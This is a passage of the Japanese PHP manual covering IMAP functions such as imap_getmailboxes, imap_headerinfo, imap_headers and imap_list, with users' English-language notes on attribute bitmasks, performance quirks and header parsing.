この関数は、現在は c-client2000 以降のライブラリを使用しているユーザーのみ利用可能です。

参考

  • imap_setacl() - 指定したメールボックスの ACL を設定する

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:13
Maybe the functionality changed over the years but the examples are wrong.
It does NOT return [subfolder] => ACL

At the moment (PHP5) the usage and answer of imap_getacl is the following:
You ask for the folder and get the ACLs for exactly this folder (no Wildcards)

Example:
When you have the folder Business in your mailbox

print_r(imap_getacl($connection , "user/john.doe/Business"));

returns the following:

Array
(
    [john.doe@example.com] => lrswipkxtecda
    [cyrus@example.com] => lrswipkxtecd
    [secretary@example.com] => lrsp
    [department@example.com] => lrs
)

Which means you have to loop over your directories (imap_list) and list the ACL for ever folder seperately.
info at obengelb dot de 13-Sep-2006 04:58
stream_id is the stream returned from imap_open

mailbox is a mailbox name (without server name)

Example:
print_r(imap_getacl ($strea_id, 'user.joecool'));

Array
(
    [asubfolder] => lrswipcda
    [anothersubfolder] => lrswipcda
)


メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す

  • ≪ imap_getacl
  • imap_getsubscribed ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す

imap_getmailboxes

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getmailboxes — メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す

説明

imap_getmailboxes ( resource $imap , string $reference , string $pattern ) : array|false

メールボックスの情報を取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

reference

通常、reference は imap_open() で述べられているサーバー定義です。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

pattern

検索を開始するメールボックスの階層を指定します。

pattern の中で使用できる特別な文字として '*' および '%' があります。 '*' は、すべてのメールボックスを意味します。 pattern に '*' を指定すると、 メールボックス階層全体のリストが得られます。 '%' は現在のレベルのみを意味します。 '%' を pattern に指定すると、 トップレベルのメールボックスのみを返します。UW_IMAPD の場合、 '~/mail/%' は ~/mail ディレクトリ内のすべてのメールボックスを返しますが、 そのディレクトリのサブフォルダにあるメールボックスは返しません。

返り値

メールボックス情報を有するオブジェクトの配列を返します。各オブジェクトには、 メールボックスの完全な名前である name、 このメールボックスの階層の区切りを示す属性 delimiter、 そして attributes が存在します。 attributes はビットマスクであり、 次のものについて調べることができます。

  • LATT_NOINFERIORS - このメールボックスには 「子供」がいないか、またはいないかもしれません（このボックスの中にメールボックスはありません）。 このメールボックスに対して imap_createmailbox() をコールしても動作しません。

  • LATT_NOSELECT - 単なるコンテナであり、 メールボックスではありません - これをオープンすることはできません。

  • LATT_MARKED - このメールボックスにはマークがつけられています。 これは、最後に確認したとき以降に新たなメッセージが到着しているかもしれないということを意味します。 すべての IMAP サーバーがこの機能を提供しているとは限りません。

  • LATT_UNMARKED - このメールボックスにはマークがつけられておらず、 新たなメッセージを含んでいません。 MARKED あるいは UNMARKED が提供されている場合は、 その IMAP サーバーがこのメールボックスに対してマーク機能を提供しているとみなせます。

  • LATT_REFERRAL - このコンテナはリモートメールボックスと関連を持ちます。

  • LATT_HASCHILDREN - このメールボックスは選択可能な子を持ちます。

  • LATT_HASNOCHILDREN - このメールボックスは選択可能な子を持ちません。

この関数は、失敗した時に false を返します。

例

例1 imap_getmailboxes() の例

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$list = imap_getmailboxes($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $key => $val) {
        echo "($key) ";
        echo imap_utf7_decode($val->name) . ",";
        echo "'" . $val->delimiter . "',";
        echo $val->attributes . "<br />\n";
    }
} else {
    echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

参考

  • imap_getsubscribed() - 購読中の全メールボックスの一覧を取得する

User Contributed Notes

james dot mattingly at gmail dot com 18-Jul-2011 12:19
For the purposes of passing along the attributes as a json array, I wanted to pass the attributes as an indexed array to save on bandwidth and session storage.  The human readable translation is then performed in javascript by relating each key to the proper attribute label.  I also wanted a cleaner way of converting the attributes without calling another function or using a complex iteration. This puts each binary attribute into it's own array element for easy testing.

<?php
$mailboxes = imap_getmailboxes($mailbox, $username, $password);

foreach($mailboxes as $key=>$mailbox){
   ...
   $attrs =  preg_split('//',str_pad(decbin($mailbox->attributes),7,"0",STR_PAD_LEFT),8);  // convert decimal to an array of attributes
   array_shift($attrs); // Remove the extra element at the front of the array in position 0
   ...
}
?>

With temporary variables, the conversion would look like this.

<?php
$attr_binary = decbin($mailbox->attributes);  // convert decimal to binary
$attr_binary = str_pad($attr_binary,7,"0",STR_PAD_LEFT);  // pad with 0's on the left
$attrs = $preg_split('//',$attr_binary,8);  // split into an array after each character
array_shift($attrs);  // Remove the extra element at the front of the array in position 0
?>

By defining the attributes as a map to the array index, you can test as follows.

<?php
define("ATTR_NOINFERIORS",6);
define("ATTR_NOSELECT "5);
define("ATTR_MARKED ",4);
define("ATTR_UNMARKED ",3);
define("ATTR_REFERRAL ",2);
define("ATTR_HASCHILDREN ",1);
define("ATTR_HASNOCHILDREN ",0);

if ($attrs[ATTR_HASCHILDREN]){
 // do something
}
?>
Mohamed Abbas mabbas_xyz at yahoo dot com 18-Nov-2006 08:51
i am currently develop a simple IMAP client, when i call imap_getmailboxes() i receive a different values in attributes property of the mailbox object the problem is how can i manipulate these attributes to get a meaningful value,
if you make a hard search to find a solution for this, you will
not find any useful documents for this problem, let us take a closer look for this problem.

when i call imap_getmailboxes() against different IMAP servers i got these attribute values

[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

the documentation tell us that we check this attributes against four constants, these contents are

LATT_NOINFERIORS
LATT_NOSELECT
LATT_MARKED
LATT_UNMARKED

the value of these constants are

LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8

you can got this result by echo each constant, unfortunately the documentation not explain how we can check the attributes against the constants, after a long time of searching i find the answer in source code of c-client
(you can get the source from ftp://ftp.cac.washington.edu/imap/)
under \src\c-client you will find mail.h open it and you will find this

                               /* terminal node in hierarchy */
#define LATT_NOINFERIORS (long) 0x1
                /* name can not be selected */
#define LATT_NOSELECT (long) 0x2
                /* changed since last accessed */
#define LATT_MARKED (long) 0x4
                /* accessed since last changed */
#define LATT_UNMARKED (long) 0x8
                /* name has referral to remote mailbox */
#define LATT_REFERRAL (long) 0x10
                /* has selectable inferiors */
#define LATT_HASCHILDREN (long) 0x20
                /* has no selectable inferiors */
#define LATT_HASNOCHILDREN (long) 0x40

as you notice here these are our four constants and three additional constants

LATT_REFERRAL
LATT_HASCHILDREN
LATT_HASNOCHILDREN

then what is the value of these 3 attributes
LATT_REFERRAL 0x10 = 00010000 in binary, the bitmask value is 2^4 = 16 and so on, or simply echo this constant to get the value, then

LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

finally the full list of constants will be
LATT_NOINFERIORS = 1
LATT_NOSELECT = 2
LATT_MARKED = 4
LATT_UNMARKED = 8
LATT_REFERRAL = 16
LATT_HASCHILDREN = 32
LATT_HASNOCHILDREN = 64

ok let's back to our attributes
[attributes] => 9
[attributes] => 1
[attributes] => 64
[attributes] => 32
[attributes] => 40

[attributes] => 9 this mean it's LATT_UNMARKED and LATT_NOINFERIORS 1+8 =9

[attributes] => 1 this mean LATT_NOINFERIORS

[attributes] => 64 this mean LATT_HASNOCHILDREN

[attributes] => 32 this mean LATT_HASCHILDREN

[attributes] => 40 this mean LATT_HASCHILDREN and LATT_UNMARKED 32+8=40

this just like linux file permission 7 mean read, write, and execute 4+2+1 read=4 write=2 execute=1

that is what i found, i hope this can help

Mohamed Abbas
Nileweb Egypt
emielbom at hotmail dot com 04-Feb-2006 07:09
i was looking for a function to test the attributes.
and it was hard to find an answer or code.

Maybe there is a function availeble, but i couldn't find it.

the first function: returns all mailboxes in on the server

The second function: returns a bitstring from the attr_number returned by getmailboxes()

The tirth function: returns an array with the active attributes on the specific mailbox

Last Line: is a combination of the functions: the output is, any map witch can hold no mail but only sub boxes...

<?php
function getFolders($mailbox, $serverString) {

    $list = imap_getmailboxes($mailbox, $serverString, "*");
    if (is_array($list)) {
        foreach ($list as $key => $val) {
           $mapname = str_replace($serverString, "", imap_utf7_decode($val->name));
           if ($mapname[0] != ".") {
               $list_folders[$key]['name'] = $mapname;
               $list_folders[$key]['delimiter'] = $val->delimiter;
               $list_folders[$key]['attributes'] = $val->attributes;
           }

        }
    } else {
        echo "imap_getmailboxes failed: " . imap_last_error() . "\n";
    }

    return $list_folders;
}

function IntToBin($number) {
    $BitWaarde = 1;
    $IntNum = $number;
    $BinString = "";

    if ($IntNum > 0) {

        // bepaal de max bitwaarde aan de hand van $IntNum
        while ($IntNum > $BitWaarde) {
            $BitWaarde = $BitWaarde * 2;
        }

        // maken van een binaire string.
        while ($BitWaarde >= 1 ) {
            if ($IntNum < $BitWaarde) {
                if ($BinString != "") $BinString .= "0";
            } else {
                $BinString .= "1";
                $IntNum = $IntNum-$BitWaarde;
            }
            $BitWaarde = $BitWaarde / 2;
        }

    }

    return $BinString;
}

function Attributes($BinString) {

    $BinInt = (int)$BinString;
    if ($BinInt >=1000){
        $setAttribute['LATT_UNMARKED'] = true;
        $BinInt = $BinInt-1000;
    } else $setAttribute['LATT_UNMARKED'] = false;

    if ($BinInt >=100){
        $setAttribute['LATT_MARKED'] = true;
        $BinInt = $BinInt-100;
    } else $setAttribute['LATT_MARKED'] = false;

    if ($BinInt >=10){
        $setAttribute['LATT_NOSELECT'] = true;
        $BinInt = $BinInt-10;
    } else $setAttribute['LATT_NOSELECT'] = false;

    if ($BinInt >=1){
        $setAttribute['LATT_NOINFERIORS'] = true;
        $BinInt = $BinInt-1;
    } else $setAttribute['LATT_NOINFERIORS'] = false;

    return $setAttribute;
}

foreach (getFolders($mailbox, $config['Server_string']) as $key => $val) {
                        $Attr = Attributes(IntToBin((int)$val['attributes']));
                        if (!$Attr['LATT_NOINFERIORS']) {
                            echo "<option value='".$val['name']."'>".$val['name']."</option>";
                        }
                    }
?>
ad-rotator.com 04-May-2004 01:17
In case you print_r() or var_dump() the object and see an int for attribute, these are the constant integers for the bitmask.

1 LATT_NOINFERIORS
2 LATT_NOSELECT
4 LATT_MARKED
8 LATT_UNMARKED
foom at fuhm dot NO_supercalifragilisticexpialidocious_SPAM dot net 27-Aug-2001 05:42
The list of mailbox attributes in this document is very misleading. In particular the explanation of noinferiors is just wrong. It does not mean that the mailbox currently has no children, it means that it *cannot* have children ever. Also, it is untrue that marked and unmarked are only used by UW-IMAP. They are in the official IMAP specification and are used by at least Courier-imap as well.

One thing to watch out for, however, is broken IMAP servers which do send \Noinferiors when they mean that there are currently no children.

From the IMAP4rev1 specs (RFC 2060):
      \Noinferiors

         It is not possible for any child levels of hierarchy to exist
         under this name; no child levels exist now and none can be
         created in the future.

      \Noselect

         It is not possible to use this name as a selectable mailbox.

      \Marked

         The mailbox has been marked "interesting" by the server; the
         mailbox probably contains messages that have been added since
         the last time the mailbox was selected.

      \Unmarked

         The mailbox does not contain any additional messages since the
         last time the mailbox was selected.


購読中の全メールボックスの一覧を取得する

  • ≪ imap_getmailboxes
  • imap_header ≫
  • PHP Manual
  • IMAP 関数
  • 購読中の全メールボックスの一覧を取得する

imap_getsubscribed

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_getsubscribed — 購読中の全メールボックスの一覧を取得する

説明

imap_getsubscribed ( resource $imap , string $reference , string $pattern ) : array|false

購読中のメールボックスの情報を取得します。

imap_getmailboxes() と同じ動作をしますが、 ユーザーが購読しているメールボックスのみを返すという点が異なります。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

reference

reference は、通常は imap_open() で指定したサーバー情報です。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

pattern

検索を開始するメールボックスの階層を指定します。

pattern の中で使用できる特別な文字として '*' および '%' があります。 '*' は、すべてのメールボックスを意味します。 pattern に '*' を指定すると、 メールボックス階層全体のリストが得られます。 '%' は現在のレベルのみを意味します。 '%' を pattern に指定すると、 トップレベルのメールボックスのみを返します。UW_IMAPD の場合、 '~/mail/%' は ~/mail ディレクトリ内のすべてのメールボックスを返しますが、 そのディレクトリのサブフォルダにあるメールボックスは返しません。

返り値

メールボックス情報を有するオブジェクトの配列を返します。各オブジェクトには、 メールボックスの完全な名前である name、 このメールボックスの階層の区切りを示す属性 delimiter、 そして attributes が存在します。 attributes はビットマスクであり、 次のものについて調べることができます。

  • LATT_NOINFERIORS - このメールボックスには 「子供」はいません（このボックスの中にメールボックスはありません）。
  • LATT_NOSELECT - 単なるコンテナであり、 メールボックスではありません - これをオープンすることはできません。
  • LATT_MARKED - このメールボックスにはマークが つけられています。UW-IMAPD でのみ使用されます。
  • LATT_UNMARKED - このメールボックスにはマークが つけられていません。UW-IMAPD でのみ使用されます。

  • LATT_REFERRAL - このコンテナはリモートメールボックスと関連を持ちます。

  • LATT_HASCHILDREN - このメールボックスは選択可能な子を持ちます。

  • LATT_HASNOCHILDREN - このメールボックスは選択可能な子を持ちません。

この関数は、失敗した時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


imap_headerinfo のエイリアス

  • ≪ imap_getsubscribed
  • imap_headerinfo ≫
  • PHP Manual
  • IMAP 関数
  • imap_headerinfo のエイリアス

imap_header

(PHP 4, PHP 5, PHP 7)

imap_header — imap_headerinfo() のエイリアス

警告

このエイリアスは PHP 8.0.0 で 削除 されました。

説明

この関数は次の関数のエイリアスです。 imap_headerinfo().

User Contributed Notes

There are no user contributed notes for this page.


メッセージヘッダを読み込む

  • ≪ imap_header
  • imap_headers ≫
  • PHP Manual
  • IMAP 関数
  • メッセージヘッダを読み込む

imap_headerinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headerinfo — メッセージヘッダを読み込む

説明

imap_headerinfo ( resource $imap , int $message_num , int $from_length = 0 , int $subject_length = 0 ) : stdClass|false

指定したメッセージ番号についての情報を、そのヘッダを読み込んで取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

from_length

fetchfrom プロパティの文字数。 ゼロ以上でなければなりません。

subject_length

fetchsubject プロパティの文字数。 ゼロ以上でなければなりません。

defaulthost

返り値

エラー時には false、成功時には 以下のプロパティをもつオブジェクトを返します。

  • toaddress - 完全な to: 行。最大 1024 文字。
  • to - To: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • fromaddress - 完全な from: 行。最大 1024 文字。
  • from - From: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • ccaddress - 完全な cc: 行。最大 1024 文字。
  • cc - Cc: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • bccaddress - 完全な bcc: 行。最大 1024 文字。
  • bcc - Bcc: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • reply_toaddress - 完全な Reply-To: 行。最大 1024 文字。
  • reply_to - Reply-To: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • senderaddress - 完全な sender: 行。最大 1024 文字。
  • sender - Sender: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、adl、 mailbox および host
  • return_pathaddress - 完全な Return-Path: 行。最大 1024 文字。
  • return_path - Return-Path: 行から、次のプロパティを含むオブジェクトの配列を返します。 personal、 adl、mailbox および host
  • remail -
  • date - ヘッダにあるメッセージの日付。
  • Date - date と同じ。
  • subject - メッセージの件名。
  • Subject - subject と同じ。
  • in_reply_to -
  • message_id -
  • newsgroups -
  • followup_to -
  • references -
  • Recent - 最近の既読メッセージは R、 最新の未読メッセージは N、 最新でないメッセージは ' '。
  • Unseen - 最新でない未読メッセージは U、 既読、あるいは最新の未読メッセージは ' '。
  • Flagged - フラグがたっている場合は F、 そうでない場合は ' '。
  • Answered - 返信した場合は A、 していない場合は ' '。
  • Deleted - 削除された場合は D、 されていない場合は ' '。
  • Draft - 草稿である場合は X、 そうでない場合は ' '。
  • Msgno - メッセージ番号。
  • MailDate -
  • Size - メッセージのサイズ。
  • udate - メールメッセージの日付を Unix time で表したもの。
  • fetchfrom - from 行を from_length 文字に適合させたもの。
  • fetchsubject - subject 行を subject_length 文字に適合させたもの。

変更履歴

バージョン | 説明
8.0.0 | 未使用だった defaulthost が削除されました。

参考

  • imap_fetch_overview() - 指定したメッセージのヘッダ情報の概要を読む

User Contributed Notes

php at our-software dot com 13-Mar-2017 02:57
Please Note : imap_headerinfo only returns a subset of the headers, rather than the entire thing.

Among other things, this means it only shows the first recipient from the "to" section of the email, rather than all recipients.

If you're not seeing something you expected to, you'll be better off using

$hdr_raw = imap_fetchheader($mbox, $mailid);
$hdr = imap_rfc822_parse_headers($hdr_raw);

then you'll see the full set of headers, and be able to do more with it.
Murray 14-Sep-2015 11:54
An email without a subject line will not generate the 'subject' property.

Before using the 'subject' property you should test for it.
if (property_exists($header, 'subject')) echo $header->subject;
milosh 03-Aug-2014 10:14
I did some testing on using imap_headerinfo() function and I am very confused with the results.

On small mailboxes, getting data for 30 messages takes about 0.5 secs. On mailboxes with approximately 500 messages it takes about 7 secs to retrieve data for the same number of messages.

Why would the size of mailbox had anything to do with the time needed to retrieve the header of the single email message? Mailboxes are on the same account.

Next, If you measure every call to imap_headerinfo() function the result are even stranger! First and then every 22th call to the imap_headerinfo() function takes 10000 times more that the others. Example: the first call takes about 0.39 secs, then other 20 calls take about 0.0001 secs, then 22th call takes about 0.47 secs, then other 20 calls about 0.00004, and so on.

After some more research there is something else that came up.

If you use:

$message_header[$i] = imap_headerinfo($mbox, $i + 1);

it takes about 0.4 secs for every 22th call and about 0.0001 sec for other calls.

However, you would expect the same results with:

$message_header[$i] = imap_headerinfo($mbox, 30 - $i);

But, in this case it takes about 0.2 secs for every call!

The only difference here is that in the second example headers are retrieved in the reversed message order (from the 30th to the 1st) and for some reason it greatly affects the time needed for the operation. Strange, or is it just me?
andyltm 08-Jul-2010 03:17
When I was testing imap_headerinfo() with an e-mail that had multiple recipients (multiple e-mails in to to: and/or cc: field), I noticed that imap_headerinfo() was failing hard for me on PHP 5.2.10-2ubuntu6.4 with Suhosin-Patch 0.9.7 (cli).

Rather than providing me an array with each and every e-mail address listed in the to and/or cc fields, it was only providing me the first listed.  This was disappointing.

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
        )

Luckily, there was a cool workaround to this problem:

imap_rfc822_parse_headers(imap_fetchheader( string ); which subsequentally worked like a nice little pet would:

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
            [1] => stdClass Object
                (
                    [mailbox] => dutch
                    [host] => masters.com
                )
        )

TL;DR:
So in other words, instead of imap_headerinfo() use imap_rfc822_parse_headers(imap_fetchheader()).

Hope this helps anyone else that runs into this issue from now into the future.  This post was suggested by people in #PHP on FreeNode IRC.
trinkaus at ttNetz dot de 31-Jan-2010 02:32
When i try to access the same mailbox through pop3 and through imap i get different update infomations.

1. Using imap
header->udate is not the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:143/imap/novalidate-cert}INBOX}", $username, $password); // open as imap
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

1. Using pop3
header->udate is the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:110/pop3/novalidate-cert}INBOX}", $username, $password); // open as pop3
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

I do not know why this is so, but for this reason, i use strtotime($header->date) together with other values to create my own message-UID because this seems to work independent from the protocol.
jahservant 13 at gmail dot com 08-Dec-2009 03:56
I'm not entirely sure why this is, but if you loop through all of the messages in a mailbox, calling imap_header() each time, you can significantly increase performance by calling imap_headers() first.

Compare this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

With this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
  /****** adding this line: ******/
     imap_headers($imap)
  /***************************/
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

The performance difference, as I have tested on several boxes, connecting to several different servers, is that the second code snippet ALWAYS takes 1/2 the time, if not less.

Perhaps it is because imap_headers() retrieves all of the messages on one connection, whereas imap_header() has to make a new fetch request for each message??  I'm not sure WHY it is faster if imap_headers() is called first, but I do know that it is, so I thought I'd pass on the knowledge.  If anyone knows why this is, please let me know....
aeolianmeson at exoyiga dot blitzeclipse dot com 17-May-2009 10:56
I typically use UID's to identify messages, and recently discovered that the headers I had been pulling using this function and a message-number didn't match the UID's. Instead of worrying about it, I just began using imap_fetchheader() and imap_ rfc822_ parse_ headers() on its output. The only significant difference I immediately noticed was that there is no "udate" property, so I assigned one with the result of strtotime() on the 'date' property.

Dustin
php at spacefish dot biz 27-Jan-2009 10:57
I had to pass the msgid as array($msgid) instead of an integer. the error "Invalid messageID" is generated if i pass an integer.
ron at NOSPAM dot clicks2hits dot com 05-Nov-2008 05:51
Simple little code for checking gmail using headerinfo

<?php /* Created on: 11/3/2008 By Ron Hickey 6tx.net/gmail_mod
Gmail mod for admin panels or you can edit it and convert html results to XML for personal RSS reader */

// enter gmail username below e.g.--> $m_username = "yourusername";
$m_username = "";

// enter gmail password below e.g.--> $m_password = "yourpword";
$m_password = "";

// enter the number of unread messages you want to display from mailbox or
//enter 0 to display all unread messages e.g.--> $m_acs = 0;
$m_acs = 15;

// How far back in time do you want to search for unread messages - one month = 0 , two weeks = 1, one week = 2, three days = 3,
// one day = 4, six hours = 5 or one hour = 6 e.g.--> $m_t = 6;
$m_t = 2;

//----------->Nothing More to edit below
//open mailbox..........please
$m_mail = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", $m_username . "@gmail.com", $m_password)

// or throw a freakin error............you pig
or die("ERROR: " . imap_last_error());

// unix time gone by or is it bye.....its certanly not bi.......or is it? ......I dunno fooker
$m_gunixtp = array(2592000, 1209600, 604800, 259200, 86400, 21600, 3600);

// Date to start search
$m_gdmy = date('d-M-Y', time() - $m_gunixtp[$m_t]);

//search mailbox for unread messages since $m_t date
$m_search=imap_search ($m_mail, 'UNSEEN SINCE ' . $m_gdmy . '');

//If mailbox is empty......Display "No New Messages", else........ You got mail....oh joy
if($m_search < 1){
$m_empty = "No New Messages";}
else {

// Order results starting from newest message
rsort($m_search);

//if m_acs > 0 then limit results
if($m_acs > 0){
array_splice($m_search, $m_acs);
}

//loop it
foreach ($m_search as $what_ever) {

//get imap header info for obj thang
$obj_thang = imap_headerinfo($m_mail, $what_ever);

//Then spit it out below.........if you dont swallow
echo "<body bgcolor=D3D3D3><div align=center><br /><font face=Arial size=2 color=#800000>Message ID# " . $what_ever . "</font>

<table bgcolor=#D3D3D3 width=700 border=1 bordercolor=#000000 cellpadding=0 cellspacing=0>
<tr>
<td><table width=100% border=0>
<tr>
<td><table width=100% border=0>
<tr>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Date:</font> <font face=Arial size=2 color=#000000>" . date("F j, Y, g:i a", $obj_thang->udate) . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>From:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->fromaddress . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>To:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->toaddress . " </font></td>
</tr>
<tr>
</table>
</td>
</tr><tr><td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Subject:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->Subject . "</font></td></tr><tr>
</tr>
</table></td>
</tr>
</table><a href=http://gmail.com target=_blank><font face=Arial size=2 color=#800000>Login to read message</a></font><br /></div></body>";

}} echo "<div align=center><font face=Arial size=4 color=#800000><b>" . $m_empty . "</b></font></div>";
//close mailbox bi by bye
imap_close($m_mail);
?>
scott at fuzzygroup dot com 11-Nov-2002 09:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
    $fromname = $object->personal;
    $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this


メールボックス内のすべてのメッセージのヘッダを返す

  • ≪ imap_headerinfo
  • imap_last_error ≫
  • PHP Manual
  • IMAP 関数
  • メールボックス内のすべてのメッセージのヘッダを返す

imap_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_headers — メールボックス内のすべてのメッセージのヘッダを返す

説明

imap_headers ( resource $imap ) : array|false

メールボックス内のすべてのメッセージのヘッダを返します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

ヘッダ情報でフォーマットされた文字列の配列を返します。1 つの メールメッセージ毎に 1 つの要素が格納されます。 失敗した場合に false を返します。

User Contributed Notes

webmaster at RealityRipple dot com 06-May-2018 11:32
Just a helpful hint, many IMAP servers will include non-standard flags in curly braces before the subject in the response of this function. Pretty sure this is the only way to determine if a message has been forwarded, for example, when using the IMAP functions. The first flag (or more) may be prefixed with a dollar sign ($). It's (probably) likely that any such flags received by a server can be passed through imap_append to that server, as well.
antispam at katiheta dot net 31-Jul-2013 02:44
Message flag descriptions can be found on official imap_headerinfo page (http://www.php.net/manual/en/function.imap-headerinfo.php) in "Return Value" paragraph.
paulwright75 at hotmail dot com 18-Jun-2013 12:54
Ok, this page is driving me crazy. Parsing the lines returned in the array is simple enough but there is no definitions on what the flags mean. So I searched the web to find the answer and this is what I was able to gather:

A - Answered: email has been replied to
N - New: Recent and not seen
R - Recent: Recent and seen
U - Unread: The message has not been read yet
F - Flagged: Message is "flagged" for urgent/special attention
D - Deleted: Message is "deleted" for removal by later EXPUNGE
X - Draft: Message has not completed composition (marked as a draft).

please correct me if I am wrong...
mmuoio at gmail dot com 12-Oct-2009 10:39
This function will not return a full subject line if it is longer than 25 characters.  I found this out after trying to search each header and move the email to a different folder depending on what the subject was (searching for year and project number).


ページリクエスト時に生じた直近の IMAP エラーを返す

  • ≪ imap_headers
  • imap_list ≫
  • PHP Manual
  • IMAP 関数
  • ページリクエスト時に生じた直近の IMAP エラーを返す

imap_last_error

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_last_error — ページリクエスト時に生じた直近の IMAP エラーを返す

説明

imap_last_error ( ) : string|false

現在のページに生じた直近の IMAP エラーメッセージの全文を返します。 エラースタックは変更されません。 imap_last_error() を続けてコールした際、 コール間に新規エラーが生じていない場合は同じエラーが返されます。

返り値

現在のページに生じた直近の IMAP エラーメッセージの全文を返します。 エラーメッセージが存在しない場合は false を返します。

参考

  • imap_errors() - 発生したすべての IMAP エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


メールボックスのリストを読み込む

  • ≪ imap_last_error
  • imap_listmailbox ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスのリストを読み込む

imap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_list — メールボックスのリストを読み込む

説明

imap_list ( resource $imap , string $reference , string $pattern ) : array|false

メールボックスのリストを読み込みます。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

reference

通常、reference は imap_open() で述べられているサーバー定義です。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

pattern

検索を開始するメールボックスの階層を指定します。

pattern の中で使用できる特別な文字として '*' および '%' があります。 '*' は、すべてのメールボックスを意味します。 pattern に '*' を指定すると、 メールボックス階層全体のリストが得られます。 '%' は現在のレベルのみを意味します。 '%' を pattern に指定すると、 トップレベルのメールボックスのみを返します。UW_IMAPD の場合、 '~/mail/%' は ~/mail ディレクトリ内のすべてのメールボックスを返しますが、 そのディレクトリのサブフォルダにあるメールボックスは返しません。

返り値

メールボックスの名前を含む配列を返します。 または失敗時に false を返します。

例

例1 imap_list() の例

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$list = imap_list($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $val) {
        echo imap_utf7_decode($val) . "\n";
    }
} else {
    echo "imap_list が失敗しました: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

参考

  • imap_getmailboxes() - メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す
  • imap_lsub() - 購読しているすべてのメールボックスの一覧を得る

User Contributed Notes

maxime dot marais+php at gmail dot com 04-Apr-2019 11:51
Please be aware that if you are trying to list an empty mailbox, imap_list will return FALSE as if there was an error instead of an empty array() as one may expect.

Example:

With a brand new account created on your mail server, with an empty INBOX, you will get:

$list = imap_list( $imap_stream, $ref, "INBOX/*");
var_dump( $list );
// bool(false)
Anonymous 19-Mar-2019 09:56
use
echo mb_convert_encoding($val, "utf-8", "UTF7-IMAP");
for cyrrilic folder names
jemore at free dot fr 29-Mar-2014 02:02
With the values returned from the imap_list function, you can search a message in the folder, but you have to use the imap_reopen function before . Continuing the previous example (from c6h1206free at gmail dot com )

<?php
  $srv = '{imap.example.com}';
  $conn = imap_open($srv, 'me', 'mypass');
  $boxes = imap_list($conn, $srv, '*');
  foreach($boxes as $box)
  {
    imap_reopen($srv, $box);
